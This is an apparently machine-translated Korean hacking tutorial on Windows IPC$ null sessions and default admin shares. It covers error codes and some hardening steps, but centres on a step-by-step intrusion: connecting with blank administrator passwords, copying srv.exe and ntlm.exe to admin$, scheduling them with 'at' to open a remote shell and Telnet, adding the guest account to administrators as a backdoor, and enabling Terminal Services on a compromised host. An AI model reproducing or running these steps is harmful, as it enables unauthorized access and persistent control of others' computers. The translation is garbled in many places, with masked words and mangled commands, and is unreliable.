중화사전망 - 서예자전 - Ipc$ 문제
Ipc$ 문제
IPC$ (인터넷 프로세스 연결) 는 * * * * 명명 파이프 (모두가 말하는) 를 즐길 수 있는 자원입니다. 프로세스 간 통신을 위해 개방된 명명된 파이프입니다. 사용자 이름과 암호를 확인하여 원격으로 PC 를 관리하고 PC * * * 공유 리소스를 볼 때 사용할 수 있는 적절한 권한을 얻을 수 있습니다.
IPC$ 를 사용하면 커넥터는 사용자 이름과 암호 없이 대상 호스트에 null 접속을 설정할 수 있으며 (물론 상대방 시스템은 ipc$*** 를 활성화해야 합니다. 그렇지 않으면 접속할 수 없습니다), 이 null 접속을 통해 커넥터는 대상 호스트의 사용자 목록을 얻을 수 있습니다 (담당 관리자가 사용자 목록 익스포트를 금지하지만).
우리는 항상 ipc$ 취약점에 대해 이야기합니다. 사실 ipc$ vulnerability 는 진정한 허점이 아니다. 관리자의 원격 관리를 용이하게 하기 위해 열리는 원격 네트워크 로그인 기능이며 기본 * * * 즐거움, 즉 모든 논리 디스크 (C $,D $,E $) ...) 및 시스템 디렉토리 winnt 또는 windows(admin$) 를 켭니다.
이 모든 것은 관리자 관리를 용이하게 하기 위한 것이지만, 좋은 취지가 반드시 좋은 결과를 얻을 수 있는 것은 아니다. 다른 꿍꿍이가 있는 사람들 (의도는 무엇인가? 몰라, 대명사 one) 는 IPC$ 를 이용하여 * * * 자원에 액세스하고, 사용자 목록을 내보내고, 일부 사전 도구를 이용하여 비밀번호를 감지하며, 더 높은 권한을 얻고자 하여 알 수 없는 목적을 달성한다.
의혹을 풀다:
1)IPC 연결은 Windows NT 이상의 고유한 원격 네트워크 로그인 기능으로 Unix 의 텔넷과 같은 기능을 제공합니다. IPC$ function 은 Windows NT 에서 많은 DLL 함수가 필요하기 때문에 Windows 9.x 에서 실행할 수 없습니다.
즉, nt/2000/xp 만 ipc$ 연결을 설정할 수 있지만 98/me 는 할 수 없다는 뜻입니다
2) 연결이 비어 있더라도 100% 가 성공적으로 설정될 수 없습니다. 상대방이 ipc$*** 를 끄면 여전히 연결을 설정할 수 없습니다.
3) ipc$ 연결이 설정된 후 상대방의 사용자 목록을 볼 수 있다는 의미는 아닙니다. 관리자가 사용자 목록 내보내기를 금지할 수 있기 때문입니다.
둘째, 해커 공격에서 ipc$ 연결을 설정하는 역할
앞서 언급했듯이, 빈 연결을 설정해도 많은 정보 (한 번의 침입에 없어서는 안 되는 정보) 를 얻을 수 있으며 그 중 일부를 즐길 수 있습니다. 만약 네가 일정한 권한을 가진 사용자로 로그인할 수 있다면, 너는 상응하는 권한을 얻게 될 것이다. 분명히, 만약 당신이 관리자로 로그인한다면, 헤헤, 나는 더 말할 필요가 없습니다, 당신이 원하는 것을 말할 필요가 없습니다, 당신은 할 수 있습니다. !
기본적으로 목표 정보 얻기, 목표 프로세스 및 서비스 관리, 트로이 목마 업로드 및 실행으로 요약할 수 있습니다. 2000 서버라면 터미널 서비스 개통을 고려해 쉽게 제어할 수 있다. 어때요? 훌륭해요. ) 을 참조하십시오
하지만 너무 기뻐하지 마세요. 관리자의 비밀번호는 그렇게 쉽게 구할 수 없기 때문입니다. 어떤 멍청한 관리자들은 빈 암호나 지적 장애 암호를 사용하지만, 결국 소수이기 때문에 지금은 예전과 다르다. 사람들의 안전의식이 높아짐에 따라, 관리자들은 점점 더 조심하고 있으며, 관리자의 비밀번호를 얻기가 점점 더 어려워질 것이다.
따라서 앞으로 가장 큰 가능성은 접속 권한이 거의 없거나 전혀 없다는 것입니다. ipc$ connection 이 만능이 아니라는 것을 알게 될 것입니다
그래서 나는 네가 ipc$ 침입을 궁극의 무기로 여기지 말고, 그것이 무적이라고 생각하지 마라. 축구장에서 슈팅 전 패스처럼 치명적인 효과는 거의 없지만 없어서는 안 된다. 나는 이것이 해킹에서 ipc$ connection 의 의미라고 생각한다.
3 개의 ipc$ 및 air 연결, 139445 포트, 기본 * * * 공유 관계.
이 네 가지 사이의 관계는 초보자에게는 난해한 문제일 수 있지만, 대부분의 문장 들은 구체적인 설명이 없다. 사실, 그들에 대한 나의 이해는별로 철저하지 않습니다. 모두 너와의 교류에서 총결된 것이다. 토론 분위기가 좋은 BBS 는 채소새의 천국이라고 할 수 있다. ) 을 참조하십시오
1)ipc$ 및 null 연결:
사용자 이름과 암호가 필요 없는 ipc$ 연결은 null 연결입니다. 사용자 또는 관리자 (즉, 특정 사용자 이름과 암호를 사용하는 ipc$ connection) 로 로그인한 후에는 null 연결이라고 부를 수 없습니다.
많은 사람들이 물어볼 수 있습니다. 제가 공중으로 연결할 수 있으니 앞으로 공중으로 연결하겠습니다. 왜 약한 비밀번호를 스캔해야 합니까? 허허, 그 이유는 앞서 언급했듯이 air 접속으로 로그인할 때 권한 (답답함) 이 없고, 사용자나 관리자로 로그인할 때 적절한 권한이 있기 때문이다. (권한을 원하지 않는 사람은 모두 성실하게 스캔하고 게으름을 피우지 마라.)
2)ipc$ 및 139445 포트:
Ipc$ connection 은 원격 로그인 및 액세스 기본값 * * *; 139 포트 개방은 NetBIOS 프로토콜 애플리케이션을 나타냅니다. 포트 139,445 (win2000) 를 통해 파일/프린터에 액세스할 수 있으므로 일반적으로 ipc$ connection 에는 포트139 또는 445 가 필요합니다.
3)ipc$ 및 기본값 * * *
기본 * * * 액세스는 기본적으로 활성화되어 있으므로 관리자의 원격 관리 (물론 끌 수 있음), 즉 모든 논리 디스크 (C $,D $,E $) ...) 및 시스템 디렉토리 winnt 또는 windows(admin$) 가 가능합니다. 이러한 기본 * * * 액세스는 ipc$ connection 을 통해 액세스할 수 있습니다 (상대방이 이러한 기본값을 끄지 않은 경우).
Ipc$ 연결이 실패한 네 가지 이유
다음 다섯 가지 이유가 일반적입니다.
1) 시스템이 NT 이상 운영 체제가 아닙니다.
2) 상대방이 ipc$ 기본값 * * * 을 열지 않았습니다.
3) 상대방이 포트 139 또는 445 (방화벽에 의해 차단됨) 를 열지 않습니다.
4) 명령 입력 오류 (예: 공백 누락 등). ) 을 참조하십시오
5) 사용자 이름 또는 암호가 잘못되었습니다 (물론 빈 연결이 있어도 상관없음)
또한 반환된 오류 번호를 기준으로 원인을 분석할 수 있습니다.
오류 번호 5, 액세스가 거부되었습니다. 사용 중인 사용자가 관리자 권한이 아닐 가능성이 높습니다. 먼저 권한을 업그레이드하십시오.
오류 번호 5 1, Windows 에서 네트워크 경로를 찾을 수 없습니다. 네트워크에 문제가 있습니다.
오류 번호 53, 네트워크 경로를 찾을 수 없음: 잘못된 IP 주소; 대상의 전원이 켜지지 않았습니다. 대상 lanmanserver 서비스가 시작되지 않았습니다. 대상은 방화벽 (포트 필터링) 입니다.
오류 번호 67, 네트워크 이름을 찾을 수 없습니다: lanmanworkstation 서비스가 시작되지 않았습니다. 대상이 삭제된 IPC $;;
오류 번호는 12 19 입니다. 제공된 인증서가 기존 인증서 세트와 충돌합니다. 이미 상대방과 ipc$ 를 만들었습니다. 삭제하고 다시 시도하십시오.
오류 번호 1326, 알 수 없는 사용자 이름 또는 암호 오류: 그 이유는 분명합니다.
오류 아니오. 1792, 로그인을 시도했지만 네트워크 로그인 서비스가 시작되지 않았습니다. 대상 NetLogon 서비스가 시작되지 않았습니다. (이 문제는 도메인 컨트롤러에 연결할 때 발생합니다. ) 을 참조하십시오
오류 번호 2242, 이 사용자의 비밀번호가 만료되었습니다. 대상에 정기적으로 비밀번호를 변경하는 계정 정책이 있습니다.
Ipc$ 연결 불가 문제는 더 복잡합니다. 위의 이유 외에도 다른 불확실성이 있습니다. 여기서 나는 상세하고 명확한 설명을 할 수 없다. 네가 직접 체험하고 실험하는 것에 달려 있다.
대상의 IPC$ 를 여는 방법 (이 단락은 관련 문장 참조)
우선, shell 의 cmd 확장, 텔넷, 트로이마와 같이 ipc$ 에 의존하지 않는 셸을 구해야 합니다. 물론 이 셸은 관리 권한이 있어야 합니다. 그러면 이 셸을 사용하여 net shell ipc$ 명령을 실행하여 대상 IPC $ 를 열 수 있습니다. 위에서 알 수 있듯이, ipc$ 는 여전히 많은 조건이 있다. 모든 관련 서비스가 실행 중인지 확인하십시오. 어떻게 해야 할지 모르겠다면, 그것을 시작 (net 명령의 용법 참조) 하거나 작동하지 않는 경우 (예: 방화벽이 있어도 죽지 않는 경우) 포기하는 것이 좋습니다.
Ipc$ 침입을 방지하는 방법
1 null 연결을 금지하는 열거 (이 작업은 win2000 의 null 세션 구문 분석에서 가져온 null 연결 설정을 차단하지 않음).
먼저 regedit 를 실행하고 다음 그룹 [HKEY _ local _ machine system 현재 제어 설정 제어] 를 찾아 RestrictAnonymous = DWORD 의 키 값을 0000001(2 로 설정된 경우) 으로 변경합니다 ).
2 * * * 기본 즐거움을 금지합니다.
1) 현지 * * * 리소스를 봅니다.
실행 -cmd- 네트워크 점유율을 입력합니다.
2) * * * 즐거움 삭제 (한 번에 하나씩 입력)
순 점유율 IPC $/ 제거
순 공유 관리비/삭제
순 점유율 c 달러/삭제
순 점유율 d $/ 삭제 (e, f 가 있는 경우 ... 계속 삭제할 수 있음)
3) 서버 서비스를 중지합니다
Net stop server /y (재부팅 후 서버 서비스가 재시작됨)
4) 레지스트리 수정
실행-레지스트리 편집
서버 버전: 다음 키 [HKEY _ local _ machine system 현재 제어 설정 서비스 sLanmanserverParameters] 를 찾아 AutoShareServer(DWORD) 키 값을 0000000 으로 변경합니다.
Pro 버전: 다음 키 [HKEY _ local _ machine system 현재 제어 설정 서비스 sLanmanserverParameters] 를 찾아 AutoShareWks(DWORD) 키 값을 0000000 으로 변경합니다.
위에서 언급한 기본 키가 없으면 새 키 (마우스 오른쪽 버튼 클릭-새로 만들기-2 바이트 값) 를 만들고 키 값을 변경합니다.
3 ipc$ 및 기본 * * * 종속 서비스 영구 종료: lanmanserver 는 서버 서비스입니다.
제어판-관리 도구-서비스-서버 서비스 찾기 (마우스 오른쪽 버튼 클릭)-속성-일반-시작 유형-비활성화.
4 방화벽을 설치하거나 (관련 설정 선택) 포트를 필터링합니다 (139,445 등 필터링). ) 또는 새 버전의 Optimizer 를 사용합니다.
5. 복잡한 비밀번호를 설정하여 IPC 를 통해 상세한 비밀번호를 설정하지 못하도록 합니다
관련 주문 7 개
1) null 연결을 설정합니다.
Net use \IPipc$ "" /user: ""(이 명령줄에는 3 개의 공백이 포함되어 있습니다.).
2) 비어 있지 않은 연결을 설정합니다.
Netuse \ ipipc $ "username"/user: "password" (공백 3 개 포함)
3) 매핑 기본값 * * * 즐기기:
Net 은 z: \IPc$ "password" /user: "사용자 이름" 을 사용합니다. 즉, 상대방의 CD 를 자신의 z 디스크에 매핑할 수 있습니다.
타겟과 ipc$ 관계를 설정한 경우 IP+ 드라이브 문자+$ 를 사용하여 직접 액세스할 수 있습니다. 구체적인 명령은 net use z: \IPc$ 입니다.
4) ipc$ 연결을 삭제합니다
순 사용량 \IPipc$ /del
5) * * * 공유 매핑을 삭제합니다.
Net use c: /del 은 매핑된 디스크 c 등을 삭제합니다.
Net use * /del 모두 삭제, y 를 눌러 확인하라는 메시지가 표시됩니다.
8 가지 클래식 침입 모드
이 침입 모델은 너무 고전적입니다. 대부분의 IPC 튜토리얼에 소개가 있습니다. 인용해 보겠습니다. 원작자에게 감사드립니다! (어느 선배인지 모르겠다)
1. c: >; Netuse \127.0.0.1IPC $ ""/user: "관리자 적정기"
이것은 사용자 이름이 administrators 이고 암호가 empty 인 streamer-scanned IP 주소입니다. 와우, 행운), 공격하려는 경우 이 명령을 사용하여 127.0.0. 1 에 연결할 수 있습니다. 비밀번호가 "비어 있기 때문에 첫 번째 따옴표, 사용자 이름을 입력할 필요가 없습니다 Administrators 를 입력하면 명령이 성공적으로 완료됩니다.
C: >; Srv.exe \127.0.0 ..1admin $ 을 복사합니다
먼저 srv.exe 를 복사하면 Streamer 의 Tools 디렉토리에서 찾을 수 있습니다. 여기서 $ 는 관리 사용자의 c:winntsystem32 를 가리키거나, CD 와 D 디스크를 c$ 와 d$ 로 표시할 수 있습니다
C: >; 순시간 \ 127.0.0. 1
시간을 조사하여 127.0.0. 1 현재 시간이 165438+2002 년 3 월 오전 0 시이고 명령이 성공적으로 완료되었습니다.
4. c: >; Srv.exe 에서 다음을 수행합니다
At 명령을 사용하여 srv.exe 를 시작합니다. 여기서 설정하는 시간은 호스트 시간보다 빠릅니다. 그렇지 않으면 어떻게 시작하나요? 허허!
5. c: >; 순시간 \ 127.0.0. 1
다시 한 번 확인해 보세요. 시간 찾았어? 127.0.0. 1 의 현재 시간이 2002/3/ 19 의1/kloc/인 경우
6. c: >; 원격 로그인 127.0.0. 1 99
여기서는 텔넷 명령을 사용하겠습니다. 포트는 99 입니다. 텔넷의 기본 포트는 23 이지만 SRV 를 사용하여 다른 컴퓨터에 99 포트 셸을 구축했습니다.
우리는 텔넷을 할 수 있지만 SRV 는 일회성 것이므로 다음에 로그인할 때 활성화됩니다! 그래서 우리는 텔넷 서비스를 만들 것입니다! 이렇게 하면 NTLM 이 사용됩니다
7. c: >; Ntlm.exe \127.0.0 ..1admin $ 을 복사합니다
Copy 명령을 사용하여 ntlm.exe 를 호스트에 업로드합니다. ntlm.exe 는 Streamer 의 도구 디렉토리에도 있습니다.
8.c: winnt system 32 > Ntlm
Ntlm startup 입력 (여기 c: winnt system 32 >; 상대방의 컴퓨터를 가리키며, NTLM 을 실행하는 것은 실제로 이 프로그램을 상대 컴퓨터에서 실행할 수 있게 하는 것이다. "DONE" 이 나타나면 정상적으로 시작된 것입니다. 그런 다음 "net start Telnet" 을 사용하여 Telnet 서비스를 시작하십시오!
9. 텔넷127.0.0.1을 입력하고 사용자 이름과 암호를 입력하여 서로 들어갑니다. 운영은 DOS 에서 작동하는 것처럼 간단합니다! 그럼 뭘 하고 싶으세요? 뭘 하고 싶어, 하하)
만일을 대비해 게스트 활성화를 관리 그룹에 추가하겠습니다.
10.c: >; 네트워크 사용자 게스트/활동: 예
상대방의 게스트 사용자를 활성화하다.
1 1. c: >; 네티즌 게스트 1234
게스트 암호를 1234 또는 설정하려는 암호로 변경합니다.
12.c: >; Net 로컬 그룹 관리자 게스트/추가
게스트를 Administrator^_^ (관리자 비밀번호가 변경되고 게스트 계정이 변경되지 않은 경우 다음에 게스트를 사용하여 이 컴퓨터에 다시 액세스할 수 있습니다.
2000 서버 육계 IPC 가 3389 를 열어 배치 명령을 설정합니다.
에코 [구성 요소] > C:sql
Echo TSEnable = on>& gtc:sql
Sysocmgr/I: c: winntinfsysoc.inf/u: c: SQL/q
Net time 이 IPC 에 의해 상대 컴퓨터로 전달된 후 상대기계의 시간을 확보한 후 at 가 이 명령을 실행합니다.
5 ~ 6 분 후에 상대방 기계가 다시 시작되니 3389 에 착지할 수 있습니다.
텍스트